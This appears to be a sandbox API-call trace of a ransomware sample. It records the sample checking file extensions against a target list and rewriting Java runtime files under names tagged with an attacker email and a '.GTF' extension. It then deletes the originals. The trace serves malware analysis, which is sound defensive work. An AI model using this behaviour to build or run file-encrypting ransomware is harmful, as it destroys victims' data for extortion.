	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.828] lstrlenW (lpString=".doc") returned 4
	[0156.828] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString=".docx") returned 5
	[0156.828] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.828] lstrlenW (lpString=".pdf") returned 4
	[0156.828] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString=".xls") returned 4
	[0156.828] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString=".xlsx") returned 5
	[0156.828] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.828] lstrlenW (lpString=".ppt") returned 4
	[0156.828] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.828] lstrlenW (lpString=".zip") returned 4
	[0156.828] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString=".rar") returned 4
	[0156.828] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString=".bz2") returned 4
	[0156.828] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString=".7z") returned 3
	[0156.828] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.828] lstrlenW (lpString=".dbf") returned 4
	[0156.828] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.828] lstrlenW (lpString=".1cd") returned 4
	[0156.828] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0156.828] lstrlenW (lpString=".jpg") returned 4
	[0156.828] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.828] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.828] lstrlenW (lpString="cldrdata.jar") returned 12
	[0156.828] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0156.829] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3860502) returned 1
	[0156.829] CloseHandle (hObject=0x4bc) returned 1
	[0156.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20
	[0156.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.830] lstrlenW (lpString=".doc") returned 4
	[0156.830] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.830] lstrlenW (lpString=".docx") returned 5
	[0156.830] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0156.830] lstrlenW (lpString=".pdf") returned 4
	[0156.830] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.830] lstrlenW (lpString=".xls") returned 4
	[0156.830] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.830] lstrlenW (lpString=".xlsx") returned 5
	[0156.830] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0156.830] lstrlenW (lpString=".ppt") returned 4
	[0156.830] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.830] lstrlenW (lpString=".zip") returned 4
	[0156.830] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.830] lstrlenW (lpString=".rar") returned 4
	[0156.830] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.830] lstrlenW (lpString=".bz2") returned 4
	[0156.830] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.830] lstrlenW (lpString=".7z") returned 3
	[0156.830] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.830] lstrlenW (lpString=".dbf") returned 4
	[0156.830] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.830] lstrlenW (lpString=".1cd") returned 4
	[0156.830] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.830] lstrlenW (lpString=".jpg") returned 4
	[0156.831] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.831] lstrlenW (lpString=".doc") returned 4
	[0156.831] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.831] lstrlenW (lpString=".docx") returned 5
	[0156.831] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0156.831] lstrlenW (lpString=".pdf") returned 4
	[0156.831] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.831] lstrlenW (lpString=".xls") returned 4
	[0156.831] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.831] lstrlenW (lpString=".xlsx") returned 5
	[0156.831] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0156.831] lstrlenW (lpString=".ppt") returned 4
	[0156.831] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.831] lstrlenW (lpString=".zip") returned 4
	[0156.831] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.831] lstrlenW (lpString=".rar") returned 4
	[0156.831] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.831] lstrlenW (lpString=".bz2") returned 4
	[0156.831] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.831] lstrlenW (lpString=".7z") returned 3
	[0156.831] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.831] lstrlenW (lpString=".dbf") returned 4
	[0156.831] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.831] lstrlenW (lpString=".1cd") returned 4
	[0156.831] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55
	[0156.831] lstrlenW (lpString=".jpg") returned 4
	[0156.831] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.832] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.832] lstrlenW (lpString="dnsns.jar") returned 9
	[0156.832] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0156.832] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8286) returned 1
	[0156.832] CloseHandle (hObject=0x4bc) returned 1
	[0156.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20
	[0156.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.832] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0156.833] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.833] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.833] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0156.835] GetLastError () returned 0x0
	[0156.835] ReadFile (in: hFile=0x4bc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x205e, lpOverlapped=0x0) returned 1
	[0156.837] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2060, lpOverlapped=0x0) returned 1
	[0156.838] ReadFile (in: hFile=0x4bc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.838] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0156.838] SetEndOfFile (hFile=0x4c0) returned 1
	[0156.838] CloseHandle (hObject=0x4c0) returned 1
	[0156.838] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.838] SetEndOfFile (hFile=0x4bc) returned 1
	[0156.841] CloseHandle (hObject=0x4bc) returned 1
	[0156.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.841] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1
	[0156.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.842] lstrlenW (lpString=".doc") returned 4
	[0156.842] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.842] lstrlenW (lpString=".docx") returned 5
	[0156.842] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0156.842] lstrlenW (lpString=".pdf") returned 4
	[0156.842] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.842] lstrlenW (lpString=".xls") returned 4
	[0156.842] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.842] lstrlenW (lpString=".xlsx") returned 5
	[0156.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0156.842] lstrlenW (lpString=".ppt") returned 4
	[0156.842] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.842] lstrlenW (lpString=".zip") returned 4
	[0156.842] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.842] lstrlenW (lpString=".rar") returned 4
	[0156.842] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.842] lstrlenW (lpString=".bz2") returned 4
	[0156.842] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.842] lstrlenW (lpString=".7z") returned 3
	[0156.842] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".dbf") returned 4
	[0156.843] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".1cd") returned 4
	[0156.843] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".jpg") returned 4
	[0156.843] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".doc") returned 4
	[0156.843] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.843] lstrlenW (lpString=".docx") returned 5
	[0156.843] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0156.843] lstrlenW (lpString=".pdf") returned 4
	[0156.843] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.843] lstrlenW (lpString=".xls") returned 4
	[0156.843] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.843] lstrlenW (lpString=".xlsx") returned 5
	[0156.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0156.843] lstrlenW (lpString=".ppt") returned 4
	[0156.843] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".zip") returned 4
	[0156.843] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.843] lstrlenW (lpString=".rar") returned 4
	[0156.843] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.843] lstrlenW (lpString=".bz2") returned 4
	[0156.843] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.843] lstrlenW (lpString=".7z") returned 3
	[0156.843] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".dbf") returned 4
	[0156.843] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.843] lstrlenW (lpString=".1cd") returned 4
	[0156.843] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52
	[0156.844] lstrlenW (lpString=".jpg") returned 4
	[0156.844] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.844] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.844] lstrlenW (lpString="jaccess.jar") returned 11
	[0156.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0156.845] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=44516) returned 1
	[0156.845] CloseHandle (hObject=0x4bc) returned 1
	[0156.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20
	[0156.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.845] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0156.845] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.845] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.845] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0156.846] GetLastError () returned 0x0
	[0156.846] ReadFile (in: hFile=0x4bc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xade4, lpOverlapped=0x0) returned 1
	[0156.849] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xadf0, lpOverlapped=0x0) returned 1
	[0156.851] ReadFile (in: hFile=0x4bc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.851] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xea, lpOverlapped=0x0) returned 1
	[0156.851] SetEndOfFile (hFile=0x4c0) returned 1
	[0156.851] CloseHandle (hObject=0x4c0) returned 1
	[0156.851] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.851] SetEndOfFile (hFile=0x4bc) returned 1
	[0156.855] CloseHandle (hObject=0x4bc) returned 1
	[0156.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.856] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1
	[0156.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.857] lstrlenW (lpString=".doc") returned 4
	[0156.857] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.857] lstrlenW (lpString=".docx") returned 5
	[0156.857] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0156.857] lstrlenW (lpString=".pdf") returned 4
	[0156.857] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.857] lstrlenW (lpString=".xls") returned 4
	[0156.857] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.857] lstrlenW (lpString=".xlsx") returned 5
	[0156.857] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0156.857] lstrlenW (lpString=".ppt") returned 4
	[0156.857] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.857] lstrlenW (lpString=".zip") returned 4
	[0156.857] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.857] lstrlenW (lpString=".rar") returned 4
	[0156.857] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.857] lstrlenW (lpString=".bz2") returned 4
	[0156.857] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.857] lstrlenW (lpString=".7z") returned 3
	[0156.857] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.857] lstrlenW (lpString=".dbf") returned 4
	[0156.858] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString=".1cd") returned 4
	[0156.858] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString=".jpg") returned 4
	[0156.858] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString=".doc") returned 4
	[0156.858] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.858] lstrlenW (lpString=".docx") returned 5
	[0156.858] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0156.858] lstrlenW (lpString=".pdf") returned 4
	[0156.858] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.858] lstrlenW (lpString=".xls") returned 4
	[0156.858] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.858] lstrlenW (lpString=".xlsx") returned 5
	[0156.858] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0156.858] lstrlenW (lpString=".ppt") returned 4
	[0156.858] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString=".zip") returned 4
	[0156.858] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.858] lstrlenW (lpString=".rar") returned 4
	[0156.858] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.858] lstrlenW (lpString=".bz2") returned 4
	[0156.858] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.858] lstrlenW (lpString=".7z") returned 3
	[0156.858] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString=".dbf") returned 4
	[0156.858] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.858] lstrlenW (lpString=".1cd") returned 4
	[0156.858] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0156.859] lstrlenW (lpString=".jpg") returned 4
	[0156.859] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.859] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.859] lstrlenW (lpString="jfxrt.jar") returned 9
	[0156.859] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0156.859] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18246297) returned 1
	[0156.859] CloseHandle (hObject=0x4bc) returned 1
